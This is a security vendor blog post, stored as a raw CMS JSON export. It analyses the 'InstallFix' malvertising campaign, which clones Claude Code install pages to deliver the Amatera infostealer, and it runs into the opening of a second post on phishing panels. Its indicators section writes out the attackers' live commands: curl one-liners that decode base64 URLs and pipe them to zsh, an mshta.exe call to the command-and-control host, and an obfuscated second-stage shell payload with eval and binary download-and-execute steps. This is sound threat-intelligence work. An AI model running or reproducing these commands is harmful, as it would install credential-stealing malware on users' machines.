users.",{"data":25114,"content":25115,"nodeType":860},{},[25116],{"data":25117,"marks":25118,"value":25120,"nodeType":864},{},[25119],{"type":899},"It’s not hard to see how attackers can exploit this. ",{"data":25122,"content":25123,"nodeType":860},{},[25124,25128,25132],{"data":25125,"marks":25126,"value":25127,"nodeType":864},{},[],"We're tracking a technique we're calling ",{"data":25129,"marks":25130,"value":6029,"nodeType":864},{},[25131],{"type":899},{"data":25133,"marks":25134,"value":25135,"nodeType":864},{},[],": a clever social engineering attack where threat actors clone the installation pages of legitimate CLI tools and present victims with malicious install commands disguised as the real thing. In each case, the mechanic is the same: the victim sees what looks like a familiar install command, copies it, pastes it, and runs it. Except the command they run is not the one they expected.",{"data":25137,"content":25141,"nodeType":996},{"target":25138},{"sys":25139},{"id":25140,"type":1001,"linkType":1002},"6VMkuQkU5L0vObxIojI1Xw",[],{"data":25143,"content":25144,"nodeType":1005},{},[],{"data":25146,"content":25147,"nodeType":1009},{},[25148],{"data":25149,"marks":25150,"value":25152,"nodeType":864},{},[25151],{"type":899},"InstallFix Claude Code campaign teardown",{"data":25154,"content":25155,"nodeType":860},{},[25156],{"data":25157,"marks":25158,"value":25159,"nodeType":864},{},[],"All you need to make this attack work is a popular tool you can impersonate. Naturally, this makes trendy AI tools a popular choice. Then, you just need to boost your lure to deliver it to unsuspecting victims via search engine. The most common way of doing this is through sponsored results — aka malvertising. ",{"data":25161,"content":25162,"nodeType":860},{},[25163],{"data":25164,"marks":25165,"value":25166,"nodeType":864},{},[],"In the recent examples identified by Push researchers, attackers have simply cloned the installation webpages for tools and updated the installation instructions with malicious commands. ",{"data":25168,"content":25169,"nodeType":1312},{},[25170],{"data":25171,"marks":25172,"value":25173,"nodeType":864},{},[],"A new campaign targeting Claude Code",{"data":25175,"content":25176,"nodeType":860},{},[25177],{"data":25178,"marks":25179,"value":25180,"nodeType":864},{},[],"We've recently observed a campaign that puts this technique into practice against one of the fastest-growing developer tools on the market: Anthropic's Claude Code.",{"data":25182,"content":25183,"nodeType":860},{},[25184],{"data":25185,"marks":25186,"value":25187,"nodeType":864},{},[],"Claude Code is a command-line AI coding assistant that has rapidly become the go-to for both experienced developers and amateur vibe-coders. Like many modern CLI tools, the recommended installation method is a one-liner that pipes a remote script into a shell. ",{"data":25189,"content":25190,"nodeType":860},{},[25191],{"data":25192,"marks":25193,"value":25194,"nodeType":864},{},[],"The attacker's approach is straightforward. They clone the Claude Code installation page (layout, branding, documentation sidebar, and all), hosting it on a lookalike domain. The page is a near-pixel-perfect replica of the real thing. The only meaningful difference is in the installation commands themselves: instead of fetching the install script from claude.ai, the commands point to an attacker-controlled server that serves malware instead. ",{"data":25196,"content":25197,"nodeType":860},{},[25198],{"data":25199,"marks":25200,"value":25201,"nodeType":864},{},[],"Unless you’re carefully reading the URL embedded in the install one-liner (and let's be honest, almost nobody does these days), the page is indistinguishable from the real one.",{"data":25203,"content":25204,"nodeType":860},{},[25205],{"data":25206,"marks":25207,"value":25208,"nodeType":864},{},[],"You can see a video of a user being served a malicious InstallFix page below.",{"data":25210,"content":25214,"nodeType":996},{"target":25211},{"sys":25212},{"id":25213,"type":1001,"linkType":1002},"1dhirnghbpAwyCse8cjAas",[],{"data":25216,"content":25220,"nodeType":996},{"target":25217},{"sys":25218},{"id":25219,"type":1001,"linkType":1002},"5TBnCFM4Y5CoqKPchHDpyv",[],{"data":25222,"content":25223,"nodeType":860},{},[25224],{"data":25225,"marks":25226,"value":25227,"nodeType":864},{},[],"Any further interaction on the page simply redirects you to the legitimate site, too. So a victim that lands on the page and follows the fake instructions could continue normally without realizing anything had gone wrong. ",{"data":25229,"content":25233,"nodeType":996},{"target":25230},{"sys":25231},{"id":25232,"type":1001,"linkType":1002},"5g3joJSAP8y8xv2bKaLGe2",[],{"data":25235,"content":25236,"nodeType":1312},{},[25237],{"data":25238,"marks":25239,"value":25240,"nodeType":864},{},[],"Distribution via Google Ads",{"data":25242,"content":25243,"nodeType":860},{},[25244],{"data":25245,"marks":25246,"value":25247,"nodeType":864},{},[],"The fake install pages are distributed exclusively through Google Ads, specifically through sponsored search results that appear when users search for terms like \"Claude Code\", \"Claude Code install\", or \"Claude Code CLI.\"",{"data":25249,"content":25253,"nodeType":996},{"target":25250},{"sys":25251},{"id":25252,"type":1001,"linkType":1002},"3CTtrOy3q8NoMblxkLlTer",[],{"data":25255,"content":25259,"nodeType":996},{"target":25256},{"sys":25257},{"id":25258,"type":1001,"linkType":1002},"4m5rg9UhRQK0e8OfYFlIUc",[],{"data":25261,"content":25265,"nodeType":996},{"target":25262},{"sys":25263},{"id":25264,"type":1001,"linkType":1002},"25lAkq9tTZ2Mq52gs6xR8G",[],{"data":25267,"content":25271,"nodeType":996},{"target":25268},{"sys":25269},{"id":25270,"type":1001,"linkType":1002},"4f4svuW3tjhNc3kEfCwNRG",[],{"data":25273,"content":25274,"nodeType":860},{},[25275,25279,25287],{"data":25276,"marks":25277,"value":25278,"nodeType":864},{},[],"Malvertising via Google Search is an effective delivery vector because it bypasses email-based security controls entirely. There's no phishing email to flag, no suspicious link in a message. The user initiates the interaction themselves by searching for something they genuinely intend to install. This is one of the reasons that attackers are ",{"data":25280,"content":25281,"nodeType":883},{"uri":12872},[25282],{"data":25283,"marks":25284,"value":25286,"nodeType":864},{},[25285],{"type":1455},"doubling down on targeting ad manager accounts",{"data":25288,"marks":25289,"value":25290,"nodeType":864},{},[]," to be able to hijack existing ad budgets and spin up even more malicious ads.",{"data":25292,"content":25293,"nodeType":860},{},[25294,25299],{"data":25295,"marks":25296,"value":25298,"nodeType":864},{},[25297],{"type":899},"The reality is that users are going to encounter malicious links through stealthy channels like malvertising every day, just through normal internet browsing",{"data":25300,"marks":25301,"value":25302,"nodeType":864},{},[],", without being actively targeted. That said, ads can be targeted too: Google Ads can be tuned to searches coming from specific geographic locations, tailored to specific email domain matches, or specific device types (e.g. desktop, mobile, etc.). So if you've got sufficient intel on your target, you can tailor the ad accordingly. ",{"data":25304,"content":25305,"nodeType":860},{},[25306],{"data":25307,"marks":25308,"value":25309,"nodeType":864},{},[],"Since the sponsored result appears above the organic results for the legitimate Claude Code documentation and the displayed URL in the ad appears plausible, victims are more likely to quickly click and access the domain without checking it out fully. Search engines typically suppress subdomains from displayed URLs too, giving the attacker additional cover for the lookalike domain.",{"data":25311,"content":25315,"nodeType":996},{"target":25312},{"sys":25313},{"id":25314,"type":1001,"linkType":1002},"4Ihz5BcRK0NDVy0ANg2PWe",[],{"data":25317,"content":25318,"nodeType":1312},{},[25319],{"data":25320,"marks":25321,"value":25322,"nodeType":864},{},[],"The payload",{"data":25324,"content":25325,"nodeType":860},{},[25326],{"data":25327,"marks":25328,"value":25329,"nodeType":864},{},[],"The malware initiates execution through cmd.exe (PID 8444), which spawns mshta.exe (PID 8700) to retrieve and execute content from a remote URL. The command structure indicates staged execution:",{"data":25331,"content":25332,"nodeType":941},{},[25333,25343,25353],{"data":25334,"content":25335,"nodeType":945},{},[25336],{"data":25337,"content":25338,"nodeType":860},{},[25339],{"data":25340,"marks":25341,"value":25342,"nodeType":864},{},[],"cmd.exe executes a command-line instruction to launch mshta.exe with a URL parameter pointing to https://claude[.]update-version[.]com/claude",{"data":25344,"content":25345,"nodeType":945},{},[25346],{"data":25347,"content":25348,"nodeType":860},{},[25349],{"data":25350,"marks":25351,"value":25352,"nodeType":864},{},[],"mshta.exe (child process) is invoked to fetch and execute HTML/script content from the malicious domain",{"data":25354,"content":25355,"nodeType":945},{},[25356],{"data":25357,"content":25358,"nodeType":860},{},[25359],{"data":25360,"marks":25361,"value":25362,"nodeType":864},{},[],"conhost.exe (PID 8496) is spawned as a console host, likely to support command execution output",{"data":25364,"content":25365,"nodeType":860},{},[25366],{"data":25367,"marks":25368,"value":25369,"nodeType":864},{},[],"The MacOS payload also uses additional encoding and staged execution layers.",{"data":25371,"content":25372,"nodeType":860},{},[25373],{"data":25374,"marks":25375,"value":25377,"nodeType":864},{},[25376],{"type":899},"You can see the full list of IoCs at the end of the blog.   ",{"data":25379,"content":25380,"nodeType":860},{},[25381],{"data":25382,"marks":25383,"value":25384,"nodeType":864},{},[],"Our analysis shows us that the payload matches the Yara signatures for the Amatera Stealer malware, retrieved from the command-and-control domain claude[.]update-version[.]com.",{"data":25386,"content":25390,"nodeType":996},{"target":25387},{"sys":25388},{"id":25389,"type":1001,"linkType":1002},"TXcSp34sIAOKIXlKT4Lb0",[],{"data":25392,"content":25393,"nodeType":860},{},[25394],{"data":25395,"marks":25396,"value":25397,"nodeType":864},{},[],"Notably, we saw different sites executing identical binaries, further indicating that these are part of a single attacker campaign. ",{"data":25399,"content":25403,"nodeType":996},{"target":25400},{"sys":25401},{"id":25402,"type":1001,"linkType":1002},"3ExLtcl6df07BcKPsGZn42",[],{"data":25405,"content":25406,"nodeType":1312},{},[25407],{"data":25408,"marks":25409,"value":25410,"nodeType":864},{},[],"Abusing legitimate hosting services",{"data":25412,"content":25413,"nodeType":860},{},[25414,25418,25425],{"data":25415,"marks":25416,"value":25417,"nodeType":864},{},[],"Another common theme we see across pretty much every phishing site these days is the abuse of legitimate domains for hosting malicious content. This allows attackers to blend in with normal web traffic and is a core ",{"data":25419,"content":25420,"nodeType":883},{"uri":7124},[25421],{"data":25422,"marks":25423,"value":7129,"nodeType":864},{},[25424],{"type":1455},{"data":25426,"marks":25427,"value":25428,"nodeType":864},{},[],". ",{"data":25430,"content":25431,"nodeType":860},{},[25432],{"data":25433,"marks":25434,"value":25435,"nodeType":864},{},[],"In this case, we observed Cloudflare Pages (pages.dev), Squarespace, and Tencent EdgeOne being used. ",{"data":25437,"content":25438,"nodeType":1005},{},[],{"data":25440,"content":25441,"nodeType":1009},{},[25442],{"data":25443,"marks":25444,"value":25446,"nodeType":864},{},[25445],{"type":899},"A broader trend",{"data":25448,"content":25449,"nodeType":860},{},[25450],{"data":25451,"marks":25452,"value":25453,"nodeType":864},{},[],"This isn't happening in isolation. Claude and its associated tools have become a recurring target for recent malware distribution campaigns:",{"data":25455,"content":25456,"nodeType":941},{},[25457,25480,25503,25526],{"data":25458,"content":25459,"nodeType":945},{},[25460],{"data":25461,"content":25462,"nodeType":860},{},[25463,25466,25476],{"data":25464,"marks":25465,"value":21,"nodeType":864},{},[],{"data":25467,"content":25469,"nodeType":883},{"uri":25468},"https://www.bleepingcomputer.com/news/security/claude-llm-artifacts-abused-to-push-mac-infostealers-in-clickfix-attack/",[25470],{"data":25471,"marks":25472,"value":25475,"nodeType":864},{},[25473,25474],{"type":1455},{"type":899},"Fake Claude artifacts used in traditional ClickFix lures",{"data":25477,"marks":25478,"value":25479,"nodeType":864},{},[],": Attackers created public pages on the claude.ai domain itself (user-generated content that inherited the domain's trust) containing malicious terminal commands disguised as macOS utilities. These were promoted via hijacked Google Ads and viewed over 15,000 times before being taken down.",{"data":25481,"content":25482,"nodeType":945},{},[25483],{"data":25484,"content":25485,"nodeType":860},{},[25486,25489,25499],{"data":25487,"marks":25488,"value":21,"nodeType":864},{},[],{"data":25490,"content":25492,"nodeType":883},{"uri":25491},"https://hunt.io/blog/fake-homebrew-clickfix-cuckoo-stealer-macos",[25493],{"data":25494,"marks":25495,"value":25498,"nodeType":864},{},[25496,25497],{"type":1455},{"type":899},"Fake Homebrew installation pages",{"data":25500,"marks":25501,"value":25502,"nodeType":864},{},[],": Near-identical clones of the Homebrew website delivering the Cuckoo infostealer to macOS users, using the same \"copy this install command\" mechanic.",{"data":25504,"content":25505,"nodeType":945},{},[25506],{"data":25507,"content":25508,"nodeType":860},{},[25509,25512,25522],{"data":25510,"marks":25511,"value":21,"nodeType":864},{},[],{"data":25513,"content":25515,"nodeType":883},{"uri":25514},"https://www.huntress.com/blog/openclaw-github-ghostsocks-infostealer",[25516],{"data":25517,"marks":25518,"value":25521,"nodeType":864},{},[25519,25520],{"type":1455},{"type":899},"Fake OpenClaw installers on GitHub",{"data":25523,"marks":25524,"value":25525,"nodeType":864},{},[],": Malicious repositories impersonating the popular AI agent tool, boosted by Bing's AI search results, delivering infostealers and the GhostSocks proxy malware.",{"data":25527,"content":25528,"nodeType":945},{},[25529],{"data":25530,"content":25531,"nodeType":860},{},[25532,25535,25545],{"data":25533,"marks":25534,"value":21,"nodeType":864},{},[],{"data":25536,"content":25538,"nodeType":883},{"uri":25537},"https://thehackernews.com/2026/02/malicious-npm-packages-harvest-crypto.html",[25539],{"data":25540,"marks":25541,"value":25544,"nodeType":864},{},[25542,25543],{"type":1455},{"type":899},"Trojanised npm packages",{"data":25546,"marks":25547,"value":25548,"nodeType":864},{},[],": Malicious packages mimicking Claude Code's official npm package name, targeting developers who might make a typo or trust an unofficial source.",{"data":25550,"content":25551,"nodeType":860},{},[25552],{"data":25553,"marks":25554,"value":25555,"nodeType":864},{},[],"But this isn’t just a Claude problem — any tool or site that is likely to get clicks, and can be easily cloned, is a potential target for malvertising and impersonation. For example, we’ve also recently seen attackers target free web tools with clever ClickFix lures that only load after an attacker has interacted with the page — in the example below, uploading a file to remove an image background, or convert a document to PDF. These are clones of real sites that attackers have cloned because they allow them to intercept users entering common search terms. ",{"data":25557,"content":25561,"nodeType":996},{"target":25558},{"sys":25559},{"id":25560,"type":1001,"linkType":1002},"6fbQRdi1xXzMOmYTcAGDLc",[],{"data":25563,"content":25564,"nodeType":1005},{},[],{"data":25566,"content":25567,"nodeType":1312},{},[25568],{"data":25569,"marks":25570,"value":25572,"nodeType":864},{},[25571],{"type":899},"How Push detects InstallFix",{"data":25574,"content":25575,"nodeType":860},{},[25576],{"data":25577,"marks":25578,"value":25579,"nodeType":864},{},[],"Regardless of the delivery channel, whether it's a phishing email, a malvertising lure, or a fake install page, all roads lead to a web page loaded in the user's browser, and that's where Push operates.",{"data":25581,"content":25582,"nodeType":860},{},[25583],{"data":25584,"marks":25585,"value":25586,"nodeType":864},{},[],"Push sees what the user sees: the page as it renders in the browser, in real time. This means we can detect InstallFix pages by identifying the combination of signals that characterise them: lookalike domains impersonating known developer tools, copy-to-clipboard elements containing shell commands, and the presence of malvertising delivery indicators.",{"data":25588,"content":25589,"nodeType":860},{},[25590],{"data":25591,"marks":25592,"value":25593,"nodeType":864},{},[],"Because Push detects threats directly in the browser, it doesn't matter that the attack came from a Google Search ad rather than an email. There's no phishing email for a Secure Email Gateway to inspect — the user searched for and navigated to the page themselves. But the page still loads in the browser, where Push is there to catch it.",{"data":25595,"content":25596,"nodeType":860},{},[25597,25601,25610,25613,25622,25626,25634],{"data":25598,"marks":25599,"value":25600,"nodeType":864},{},[],"To learn more about how Push protects against InstallFix, ClickFix, and other browser-based attacks, ",{"data":25602,"content":25604,"nodeType":883},{"uri":25603},"https://pushsecurity.com/resources/product-brochure",[25605],{"data":25606,"marks":25607,"value":25609,"nodeType":864},{},[25608],{"type":1455},"check out our latest product overview",{"data":25611,"marks":25612,"value":3731,"nodeType":864},{},[],{"data":25614,"content":25616,"nodeType":883},{"uri":25615},"https://pushsecurity.com/product-demo/",[25617],{"data":25618,"marks":25619,"value":25621,"nodeType":864},{},[25620],{"type":1455},"visit our demo library",{"data":25623,"marks":25624,"value":25625,"nodeType":864},{},[],", or ",{"data":25627,"content":25628,"nodeType":883},{"uri":1700},[25629],{"data":25630,"marks":25631,"value":25633,"nodeType":864},{},[25632],{"type":1455},"book some time with one of our team for a live demo",{"data":25635,"marks":25636,"value":2924,"nodeType":864},{},[],{"data":25638,"content":25639,"nodeType":1005},{},[],{"data":25641,"content":25642,"nodeType":1009},{},[25643],{"data":25644,"marks":25645,"value":5571,"nodeType":864},{},[25646],{"type":899},{"data":25648,"content":25649,"nodeType":860},{},[25650,25653,25660],{"data":25651,"marks":25652,"value":7245,"nodeType":864},{},[],{"data":25654,"content":25655,"nodeType":883},{"uri":7248},[25656],{"data":25657,"marks":25658,"value":7253,"nodeType":864},{},[25659],{"type":1455},{"data":25661,"marks":25662,"value":7257,"nodeType":864},{},[],{"data":25664,"content":25665,"nodeType":860},{},[25666],{"data":25667,"marks":25668,"value":25669,"nodeType":864},{},[],"This is a fast-moving situation, with domains constantly being spun up. At the time of writing, the domains observed were:",{"data":25671,"content":25672,"nodeType":860},{},[25673],{"data":25674,"marks":25675,"value":25677,"nodeType":864},{},[25676],{"type":899},"Cloned domains:",{"data":25679,"content":25680,"nodeType":941},{},[25681,25691,25701,25711,25721,25731,25740,25750,25760,25769,25779,25789,25799,25809,25819,25829,25839,25848,25858,25868,25878],{"data":25682,"content":25683,"nodeType":945},{},[25684],{"data":25685,"content":25686,"nodeType":860},{},[25687],{"data":25688,"marks":25689,"value":25690,"nodeType":864},{},[],"claud-code[.]pages[.]dev",{"data":25692,"content":25693,"nodeType":945},{},[25694],{"data":25695,"content":25696,"nodeType":860},{},[25697],{"data":25698,"marks":25699,"value":25700,"nodeType":864},{},[],"claulastver[.]squarespace[.]com",{"data":25702,"content":25703,"nodeType":945},{},[25704],{"data":25705,"content":25706,"nodeType":860},{},[25707],{"data":25708,"marks":25709,"value":25710,"nodeType":864},{},[],"claudecode-developers[.]squarespace[.]com",{"data":25712,"content":25713,"nodeType":945},{},[25714],{"data":25715,"content":25716,"nodeType":860},{},[25717],{"data":25718,"marks":25719,"value":25720,"nodeType":864},{},[],"hgjbulk.pages[.]dev",{"data":25722,"content":25723,"nodeType":945},{},[25724],{"data":25725,"content":25726,"nodeType":860},{},[25727],{"data":25728,"marks":25729,"value":25730,"nodeType":864},{},[],"jhgyuifyfiguohi[.]pages[.]dev",{"data":25732,"content":25733,"nodeType":945},{},[25734],{"data":25735,"content":25736,"nodeType":860},{},[25737],{"data":25738,"marks":25739,"value":25720,"nodeType":864},{},[],{"data":25741,"content":25742,"nodeType":945},{},[25743],{"data":25744,"content":25745,"nodeType":860},{},[25746],{"data":25747,"marks":25748,"value":25749,"nodeType":864},{},[],"claude-code-install[.]squarespace[.]com",{"data":25751,"content":25752,"nodeType":945},{},[25753],{"data":25754,"content":25755,"nodeType":860},{},[25756],{"data":25757,"marks":25758,"value":25759,"nodeType":864},{},[],"claude-code-docs-site[.]pages[.]dev",{"data":25761,"content":25762,"nodeType":945},{},[25763],{"data":25764,"content":25765,"nodeType":860},{},[25766],{"data":25767,"marks":25768,"value":25700,"nodeType":864},{},[],{"data":25770,"content":25771,"nodeType":945},{},[25772],{"data":25773,"content":25774,"nodeType":860},{},[25775],{"data":25776,"marks":25777,"value":25778,"nodeType":864},{},[],"cladueall[.]pages[.]dev",{"data":25780,"content":25781,"nodeType":945},{},[25782],{"data":25783,"content":25784,"nodeType":860},{},[25785],{"data":25786,"marks":25787,"value":25788,"nodeType":864},{},[],"claude-code-docs-dvlr2jpuuw[.]edgeone[.]app",{"data":25790,"content":25791,"nodeType":945},{},[25792],{"data":25793,"content":25794,"nodeType":860},{},[25795],{"data":25796,"marks":25797,"value":25798,"nodeType":864},{},[],"myclauda[.]it[.]com",{"data":25800,"content":25801,"nodeType":945},{},[25802],{"data":25803,"content":25804,"nodeType":860},{},[25805],{"data":25806,"marks":25807,"value":25808,"nodeType":864},{},[],"vdsafsaf[.]it[.]com",{"data":25810,"content":25811,"nodeType":945},{},[25812],{"data":25813,"content":25814,"nodeType":860},{},[25815],{"data":25816,"marks":25817,"value":25818,"nodeType":864},{},[],"asdasdasdadsvvvvv[.]pages[.]dev/",{"data":25820,"content":25821,"nodeType":945},{},[25822],{"data":25823,"content":25824,"nodeType":860},{},[25825],{"data":25826,"marks":25827,"value":25828,"nodeType":864},{},[],"nnnnnnnnnnnnnnnnnnnnn[.]pages[.]dev",{"data":25830,"content":25831,"nodeType":945},{},[25832],{"data":25833,"content":25834,"nodeType":860},{},[25835],{"data":25836,"marks":25837,"value":25838,"nodeType":864},{},[],"claude-code-macos[.]com",{"data":25840,"content":25841,"nodeType":945},{},[25842],{"data":25843,"content":25844,"nodeType":860},{},[25845],{"data":25846,"marks":25847,"value":25759,"nodeType":864},{},[],{"data":25849,"content":25850,"nodeType":945},{},[25851],{"data":25852,"content":25853,"nodeType":860},{},[25854],{"data":25855,"marks":25856,"value":25857,"nodeType":864},{},[],"claude-code-update[.]squarespace[.]com",{"data":25859,"content":25860,"nodeType":945},{},[25861],{"data":25862,"content":25863,"nodeType":860},{},[25864],{"data":25865,"marks":25866,"value":25867,"nodeType":864},{},[],"claudecodeupdate[.]squarespace[.]com",{"data":25869,"content":25870,"nodeType":945},{},[25871],{"data":25872,"content":25873,"nodeType":860},{},[25874],{"data":25875,"marks":25876,"value":25877,"nodeType":864},{},[],"notebooklm-version-upd[.]squarespace[.]com",{"data":25879,"content":25880,"nodeType":945},{},[25881],{"data":25882,"content":25883,"nodeType":860},{},[25884],{"data":25885,"marks":25886,"value":25887,"nodeType":864},{},[],"notklmalans[.]pages[.]dev",{"data":25889,"content":25890,"nodeType":860},{},[25891],{"data":25892,"marks":25893,"value":25895,"nodeType":864},{},[25894],{"type":899},"Domains hosting malicious payload:",{"data":25897,"content":25898,"nodeType":941},{},[25899,25909,25919],{"data":25900,"content":25901,"nodeType":945},{},[25902],{"data":25903,"content":25904,"nodeType":860},{},[25905],{"data":25906,"marks":25907,"value":25908,"nodeType":864},{},[],"contatoplus[.]com",{"data":25910,"content":25911,"nodeType":945},{},[25912],{"data":25913,"content":25914,"nodeType":860},{},[25915],{"data":25916,"marks":25917,"value":25918,"nodeType":864},{},[],"sarahmoftah[.]com",{"data":25920,"content":25921,"nodeType":945},{},[25922],{"data":25923,"content":25924,"nodeType":860},{},[25925],{"data":25926,"marks":25927,"value":25928,"nodeType":864},{},[],"claude[.]update-version[.]com",{"data":25930,"content":25931,"nodeType":860},{},[25932],{"data":25933,"marks":25934,"value":25936,"nodeType":864},{},[25935],{"type":899},"Commands:",{"data":25938,"content":25939,"nodeType":860},{},[25940],{"data":25941,"marks":25942,"value":25945,"nodeType":864},{},[25943],{"type":25944},"code","curl -ksfLS $(echo 'aHR0cHM6Ly9jb250YXRvcGx1cy5jb20vY3VybC84ZDJkMjc1MzYwYWRlZGVjZmJiZDkxNTY3ZGFkZGVlZDgwZDIwYWNlYjhhYTQzMjBkMDZhMjE0ODY0OTM5NDVi'|base64 -D)| zsh",{"data":25947,"content":25948,"nodeType":860},{},[25949],{"data":25950,"marks":25951,"value":21,"nodeType":864},{},[],{"data":25953,"content":25954,"nodeType":860},{},[25955],{"data":25956,"marks":25957,"value":25959,"nodeType":864},{},[25958],{"type":25944},"curl -sfkSL $(echo 'aHR0cHM6Ly93cmljb25zdWx0LmNvbS9jdXJsLzhhZjY1YmEzODg1ZDZlMjU5NmVhMmNlMmRiNGEzYmM1ZWUwMmI4ZGViMzM2ZjlhZTkzZTI2MmM0ZGIwMGI3NTc='|base64 -D)| zsh",{"data":25961,"content":25962,"nodeType":860},{},[25963],{"data":25964,"marks":25965,"value":25966,"nodeType":864},{},[],"\n",{"data":25968,"content":25969,"nodeType":860},{},[25970],{"data":25971,"marks":25972,"value":25974,"nodeType":864},{},[25973],{"type":25944},"C:\\Windows\\SysWOW64\\mshta.exe https://claude.update-version.com/claude ",{"data":25976,"content":25977,"nodeType":860},{},[25978,25981],{"data":25979,"marks":25980,"value":25966,"nodeType":864},{},[],{"data":25982,"marks":25983,"value":25985,"nodeType":864},{},[25984],{"type":899},"Base64 decoded url:",{"data":25987,"content":25988,"nodeType":860},{},[25989],{"data":25990,"marks":25991,"value":25993,"nodeType":864},{},[25992],{"type":25944},"contatoplus[.]com/curl/8d2d275360adedecfbbd91567daddeed80d20aceb8aa4320d06a21486493945b ",{"data":25995,"content":25996,"nodeType":860},{},[25997],{"data":25998,"marks":25999,"value":21,"nodeType":864},{},[],{"data":26001,"content":26002,"nodeType":860},{},[26003],{"data":26004,"marks":26005,"value":26007,"nodeType":864},{},[26006],{"type":25944},"saramoftah[.]com/curl/958ca005af6a71be22cfcd5de82ebf5c8b809b7ee28999b6ed38bfe5d19420",{"data":26009,"content":26010,"nodeType":860},{},[26011,26014],{"data":26012,"marks":26013,"value":25966,"nodeType":864},{},[],{"data":26015,"marks":26016,"value":26018,"nodeType":864},{},[26017],{"type":899},"Second stage:",{"data":26020,"content":26021,"nodeType":860},{},[26022],{"data":26023,"marks":26024,"value":26026,"nodeType":864},{},[26025],{"type":25944},"#!/bin/zsh",{"data":26028,"content":26029,"nodeType":860},{},[26030],{"data":26031,"marks":26032,"value":26034,"nodeType":864},{},[26033],{"type":25944},"mkgrc9=$(base64 -D \u003C\u003C'PAYLOAD_END' | gunzip",{"data":26036,"content":26037,"nodeType":860},{},[26038],{"data":26039,"marks":26040,"value":26042,"nodeType":864},{},[26041],{"type":25944},"H4sIAKgRpGkC/13LPQqAMAxA4b2niAhdpGYVbxPbSoT+0UYonl5HdXwfvHHA7Uh4NVb2rAFMBpRYkH0ovgKLlLYiNqoU8y7Es80R05LwLI7Eg9bQSaSCsZ/zccsxO5j631+pbrYTnkSAAAAA",{"data":26044,"content":26045,"nodeType":860},{},[26046],{"data":26047,"marks":26048,"value":26050,"nodeType":864},{},[26049],{"type":25944},"PAYLOAD_END",{"data":26052,"content":26053,"nodeType":860},{},[26054],{"data":26055,"marks":26056,"value":26058,"nodeType":864},{},[26057],{"type":25944},")",{"data":26060,"content":26061,"nodeType":860},{},[26062],{"data":26063,"marks":26064,"value":26066,"nodeType":864},{},[26065],{"type":25944},"eval \"$mkgrc9\"",{"data":26068,"content":26069,"nodeType":860},{},[26070,26073],{"data":26071,"marks":26072,"value":25966,"nodeType":864},{},[],{"data":26074,"marks":26075,"value":26077,"nodeType":864},{},[26076],{"type":899},"Binaries:",{"data":26079,"content":26080,"nodeType":860},{},[26081],{"data":26082,"marks":26083,"value":26026,"nodeType":864},{},[26084],{"type":25944},{"data":26086,"content":26087,"nodeType":860},{},[26088],{"data":26089,"marks":26090,"value":26092,"nodeType":864},{},[26091],{"type":25944},"curl -o /tmp/helper https://saramoftah.com/n8n/update && xattr -c /tmp/helper && chmod +x /tmp/helper && /tmp/helper","InstallFix: How attackers are weaponizing malvertised install guides  ","Attackers are impersonating popular developer tools like Claude Code to distribute fake install instructions via malicious search engine ads.","2026-03-06T00:00:00.000Z","installfix",{"items":26098},[26099,26101],{"sys":26100,"name":6593},{"id":6592},{"sys":26102,"name":342},{"id":6596},{"items":26104},[26105],{"fullName":26106,"firstName":26107,"jobTitle":26108,"profilePicture":26109},"Jacques Louw","Jacques","Co-founder / CRO",{"url":26110},"https://images.ctfassets.net/y1cdw1ablpvd/39m8bektV23lnCRcEq0G8h/2a08f6276a50744f1a4b499b273f6bb2/Push_Founders_at_Cahoots_October_28_2022_by_Doug_Coombe-21.jpg",{"__typename":2059,"sys":26112,"content":26114,"title":28010,"synopsis":28011,"hashTags":59,"publishedDate":28012,"slug":28013,"tagsCollection":28014,"authorsCollection":28020},{"id":26113},"2tz0zEJCarJBkceOYk4zVg",{"json":26115},{"data":26116,"content":26117,"nodeType":856},{},[26118,26125,26154,26165,26172,26178,26190,26196,26199,26207,26214,26277,26284,26290,26293,26301,26308,26314,26322,26329,26455,26461,26467,26473,26479,26487,26494,26501,26564,26571,26577,26583,26591,26598,26605,26613,26620,26653,26660,26666,26673,26721,26728,26736,26743,26749,26756,26763,26769,26776,26809,26816,26822,26825,26833,26840,26847,26854,26859,26866,26873,26879,26886,26892,26899,26905,26912,26919,26922,26930,26946,26953,26973,27216,27223,27254,27489,27496,27503,27704,27711,27896,27899,27907,27914,27921,27933,27936,27943,27960,27977,27984,27987,27994],{"data":26119,"content":26120,"nodeType":860},{},[26121],{"data":26122,"marks":26123,"value":26124,"nodeType":864},{},[],"When Push blocks an attack in the browser, we take the opportunity to do some more digging to see what else we can find. One recent detection led us down the rabbit hole — and right into a criminal phishing panel. ",{"data":26126,"content":26127,"nodeType":860},{},[26128,26132,26138,26142,26150],{"data":26129,"marks":26130,"value":26131,"nodeType":864},{},[],"Real-time operated phishing panels have been used extensively in recent months, in vishing + phishing attacks attributed to first ",{"data":26133,"content":26134,"nodeType":883},{"uri":6259},[26135],{"data":26136,"marks":26137,"value":4087,"nodeType":864},{},[],{"data":26139,"marks":26140,"value":26141,"nodeType":864},{},[],", and more recently the ",{"data":26143,"content":26145,"nodeType":883},{"uri":26144},"https://www.bleepingcomputer.com/news/security/new-blackfile-extortion-gang-targets-retail-and-hospitality-orgs/",[26146],{"data":26147,"marks":26148,"value":26149,"nodeType":864},{},[],"BlackFile",{"data":26151,"marks":26152,"value":26153,"nodeType":864},{},[]," hacking group, with a significant overlap in techniques and tooling. ",{"data":26155,"content":26156,"nodeType":860},{},[26157,26162],{"data":26158,"marks":26159,"value":26161,"nodeType":864},{},[26160],{"type":899},"We’ve directly accessed active deployments of the operator panels driving these campaigns, observed what happens in real-time when a victim is targeted, and analyzed multiple variants and forks of the tooling. ",{"data":26163,"marks":26164,"value":1171,"nodeType":864},{},[],{"data":26166,"content":26167,"nodeType":860},{},[26168],{"data":26169,"marks":26170,"value":26171,"nodeType":864},{},[],"We identified four primary infrastructure clusters, with each deployment having its own panel implementation. While the panels share common heritage, the operators deploying them appear to be separate groups with different infrastructure preferences and operational patterns.",{"data":26173,"content":26177,"nodeType":996},{"target":26174},{"sys":26175},{"id":26176,"type":1001,"linkType":1002},"5BQOpzjSbobLx8OkvXl6os",[],{"data":26179,"content":26180,"nodeType":860},{},[26181,26185],{"data":26182,"marks":26183,"value":26184,"nodeType":864},{},[],"The existence of these independently branded forks indicates that the tooling has entered a phase of wider distribution — operators who obtained the original panel source are now customizing and reshipping it for their own purposes. As a result, the tooling is now most likely accessible to a broad population of financially motivated threat actors. ",{"data":26186,"marks":26187,"value":26189,"nodeType":864},{},[26188],{"type":899},"In total, we’ve identified over 400 domains linked to the attacks, giving an indication of the scale. 